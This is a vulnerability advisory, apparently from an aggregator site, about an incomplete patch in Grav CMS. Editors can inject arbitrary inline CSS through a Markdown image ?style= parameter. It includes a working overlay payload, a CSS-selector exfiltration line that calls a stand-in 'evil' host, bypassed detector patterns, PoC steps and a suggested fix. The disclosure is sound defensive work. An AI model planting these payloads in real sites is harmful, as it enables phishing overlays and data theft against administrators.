Medium

Grav: Stored CSS injection via Markdown image ?style=… reaches MediaObjectTrait::style() — incomplete patch of GHSA-r7fx-8g49-7hhr

  • Disclosed: 18.06.2026
  • Updated: 11.10.2026 10:22

Summary

The fix for GHSA-r7fx-8g49-7hhr / CVE-2026-42841 (Stored XSS via Markdown media attribute() action) is incomplete. The maintainer patched MediaObjectTrait::attribute() to deny dangerous attribute names (event handlers, style, xmlns, srcdoc, formaction) but the sibling MediaObjectTrait::style() method is reachable through the same Markdown excerpt-action pipeline and writes editor-controlled strings straight into the rendered <img style="…"> attribute with no sanitization.

Any user with admin.pages permission (e.g. an editor) can save Markdown like:

markdown
![logo](image.png?style=position:fixed;top:0;left:0;width:100vw;height:100vh;background:white;z-index:9999)

which renders to a stored-CSS payload that any higher-privileged viewer (administrator, super-admin, reviewer) loads in their authenticated session. Same trust boundary, same victim, same attacker, same Markdown input vector as the patched GHSA-r7fx-8g49-7hhr issue — the fix simply patched the attribute() entry point and missed the style() sibling.

Affected versions

Vulnerable at HEAD across every currently-shipping branch (verified 2026-06-15):

Branch / tag MediaObjectTrait::style()
develop (f4c0f42) unpatched
2.0 (96e1d2d) unpatched
2.0.0-rc.8 (latest 2.0 RC tag) unpatched
1.7.52 (latest 1.7 stable) unpatched

Per SECURITY.md, this advisory targets the 2.0 line (publisher-level exploit, not eligible for 1.7 backport per the project's stated policy).

Trust boundary

Per the project's SECURITY.md:

A vulnerability is when an actor can escape the trust scope of their role: a publisher whose stored content compromises an admin session, an unauthenticated visitor who reaches a privileged sink, an account at any tier that gains capabilities it was not granted.

An editor authoring Markdown is operating within their role. A higher-privilege admin loading that editor's page in their authenticated session and getting attacker-controlled CSS painted into their browser is across the trust boundary — the same framing that was accepted for GHSA-r7fx-8g49-7hhr (MODERATE) and GHSA-c2q3-p4jr-c55f (MODERATE).

Details

Original GHSA-r7fx-8g49-7hhr fix (commit 5a12f9be8, 2026-04-23)

php
public function attribute($attribute = null, $value = '')
{
    if (empty($attribute) || !is_string($attribute)) {
        return $this;
    }
    if (!self::isSafeAttributeName($attribute)) {
        return $this;
    }
    $this->attributes[$attribute] = $value;
    return $this;
}

private static function isSafeAttributeName(string $name): bool
{
    if (!preg_match('/^[A-Za-z][A-Za-z0-9_:.\-]*$/', $name)) {
        return false;
    }
    $lower = strtolower($name);
    if (str_starts_with($lower, 'on')) {        // event handlers
        return false;
    }
    $denylist = ['style', 'xmlns', 'srcdoc', 'formaction'];
    return !in_array($lower, $denylist, true);
}

style is the second-named entry on the denylist — the maintainer explicitly recognised that editor-supplied style was dangerous when arriving via the attribute() action. The fix simply didn't reach the parallel sink.

The unpatched sibling: MediaObjectTrait::style() (line 519)

php
/**
 * Allows to add an inline style attribute from Markdown or Twig
 * Example: ![Example](myimg.png?style=float:left)
 */
public function style($style)
{
    $this->styleAttributes[] = rtrim($style, ';') . ';';
    return $this;
}

The function is unchanged before, during, and after the GHSA-r7fx-8g49-7hhr fix. The PHPDoc on the very next line names the Markdown invocation form (?style=…). The rtrim is for clean concatenation, not security.

$styleAttributes is concatenated and assigned to attributes['style'] in parsedownElement() (lines 242–251):

php
$style = '';
foreach ($this->styleAttributes as $key => $value) {
    if (is_numeric($key)) {        // editor-supplied entries are numeric-keyed
        $style .= $value;
    } else {
        $style .= $key . ': ' . $value . ';';
    }
}
if ($style) {
    $attributes['style'] = $style;
}

Parsedown then runs htmlspecialchars on the value (so quote-breakout into a new attribute is blocked), but arbitrary CSS as the value is enough.

Source → sink trace

The Markdown processor wires query-string keys to method calls on the Medium object (system/src/Grav/Common/Page/Markdown/Excerpts.php:262):

php
foreach ($actions as $action) {
    $matches = [];
    if (preg_match('/\[(.*)\]/', (string) $action['params'], $matches)) {
        $args = [explode(',', $matches[1])];
    } else {
        $args = explode(',', (string) $action['params']);
    }
    $medium = call_user_func_array([$medium, $action['method']], $args);
}

?style=position:fixed;top:0;left:0 becomes $medium->style('position:fixed;top:0;left:0').

Save-side XSS detector misses the payload

AdminController::savePage() runs Security::detectXssFromArray() on data[content] before persisting (classes/plugin/AdminController.php:1402). All five default patterns miss the Markdown form:

  • on_events: requires <…on*= in source.
  • invalid_protocols: requires javascript:/data:/etc. — the phishing-overlay payload uses none.
  • moz_binding: requires -moz-binding: literally.
  • html_inline_styles: requires <…style=…(url:|x:expression); Markdown source has no < and no url:.
  • dangerous_tags: requires <svg/<script/etc.

Save proceeds, the payload persists, the CSS is rendered to every viewer.

Impact

  • Phishing overlay — full-viewport position:fixed covering the admin UI with attacker-controlled background/content; admin clicks intended actions into the attacker's overlay.
  • UI redress / clickjacking — invisible overlays hijacking admin button clicks.
  • CSS-selector data exfiltration — input[value^="a"] { background: url(//evil/log?c=a) } against form fields the higher-privileged viewer interacts with.
  • Persistent admin-UI denial-of-service — position:fixed; background:white covers the page until the offending content is removed by hand on the server.

The stored payload reaches every user who views the editor's page — including administrators previewing pending changes.

Proof of concept

A deterministic end-to-end PoC against a real Grav install ships with the finding (repro.sh). Steps:

  1. Log in as an editor (admin.pages + admin.pages.update, no admin.super).
  2. Upload a benign image to a target page.
  3. Save the page with the Markdown payload ![alt](image?style=position:fixed;top:0;left:0;width:100vw;height:100vh;background:white;z-index:9999).
  4. Visit the public page; observe the <img style="…"> carrying the unsanitised CSS.

Suggested fix

Apply the same denylist + identifier-shape gate to style() that isSafeAttributeName() enforces for attribute():

diff
 public function style($style)
 {
+    if (!is_string($style) || !self::isSafeStyleValue($style)) {
+        return $this;
+    }
     $this->styleAttributes[] = rtrim($style, ';') . ';';
     return $this;
 }

+/**
+ * Editor-controlled style values arrive via Markdown `?style=…` and reach
+ * the rendered `<img style="…">` attribute verbatim. Limit to a conservative
+ * set of CSS that themes legitimately use from content (sizing, float,
+ * margin, etc.) and reject anything that opens a phishing-overlay or
+ * data-exfil primitive. Matches the spirit of the attribute() denylist
+ * from GHSA-r7fx-8g49-7hhr — same trust boundary, sibling sink.
+ */
+private static function isSafeStyleValue(string $css): bool
+{
+    $css = strtolower($css);
+    // Deny: phishing-overlay positioning, CSS-selector exfil sinks
+    // (background/content url(...)), expression() (legacy IE),
+    // -moz-binding (legacy FF), behavior: url() (IE).
+    $deny = ['position:', '@import', 'url(', 'expression(',
+             '-moz-binding', 'behavior:', 'z-index:', 'fixed', 'absolute'];
+    foreach ($deny as $needle) {
+        if (str_contains($css, $needle)) {
+            return false;
+        }
+    }
+    return (bool) preg_match('/^[A-Za-z0-9 :;%.,\-#\/]*$/', $css);
+}

Alternatively, deprecate the Markdown ?style=… action entirely — themes can still set inline styles from PHP, but accepting attacker-controlled CSS from page content was always a footgun.

Defense in depth: extend Security::detectXss()'s html_inline_styles rule to also match Markdown-form ?style= query parameters in data[content] on save.

References

  • Original advisory: GHSA-r7fx-8g49-7hhr
  • Fix commit: 5a12f9be8 (system/src/Grav/Common/Media/Traits/MediaObjectTrait.php)
  • Unpatched code: system/src/Grav/Common/Media/Traits/MediaObjectTrait.php lines 519–524
  • Project security policy: SECURITY.md (trust-boundary severity model)

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package getgrav/grav < 2.0.0-rc.9 2.0.0-rc.9

References

CVSS score 4.8/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
Weakness (CWE)
CWE-79
Platform
Composer
Package
getgrav/grav
Disclosed
18.06.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-pmf8-g7c8-7v54 - CC BY 4.0

Vulnerability history: getgrav/grav

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (99) in the archive
Total entries
99
First → latest
11.2019 09.2026
Without a fix
6
Exploited in attacks
0

Severity breakdown

  • Critical 7
  • High 47
  • Medium 41
  • Low 4

Disclosures per year

  1. 2019: 1
  2. 2020: 1
  3. 2021: 4
  4. 2022: 10
  5. 2023: 5
  6. 2024: 8
  7. 2025: 23
  8. 2026: 47
Severity:
  1. High · 8.8 CVE-2026-72819 < 2.0.13 2.0.13
  2. High CVE-2026-53653 >= 2.0.0-beta.1, < 2.0.0-rc.8, < 1.7.53 2.0.0-rc.8, 1.7.53
  3. Grav: Stored CSS injection via Markdown image ?style=… reaches MediaObjectTrait::style() — incomplete patch of GHSA-r7fx-8g49-7hhr this entry
    Medium · 4.8 CVE-2026-55890 < 2.0.0-rc.9 2.0.0-rc.9
  4. High · 8.9 CVE-2026-42611 < 2.0.0-beta.2 2.0.0-beta.2
  5. High · 8.5 CVE-2026-42612 < 2.0.0-beta.2 2.0.0-beta.2
  6. Critical · 9.4 CVE-2026-42613 < 2.0.0-beta.2 2.0.0-beta.2
  7. Critical · 9.1 CVE-2025-66844 <= 1.7.49.5 no fix
  8. High CVE-2025-66298 < 1.8.0-beta.27 1.8.0-beta.27
  9. High CVE-2025-66294 < 1.8.0-beta.27 1.8.0-beta.27
  10. High · 8.5 CVE-2025-66300 < 1.8.0-beta.27 1.8.0-beta.27
  11. High · 8.8 CVE-2025-66299 < 1.8.0-beta.27 1.8.0-beta.27
  12. High · 8.5 CVE-2024-34082 < 1.7.46 1.7.46
  13. High · 8.8 CVE-2024-28119 < 1.7.45 1.7.45
  14. High · 8.8 CVE-2024-28118 < 1.7.45 1.7.45
Show more (15) Showing 40 of 55

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.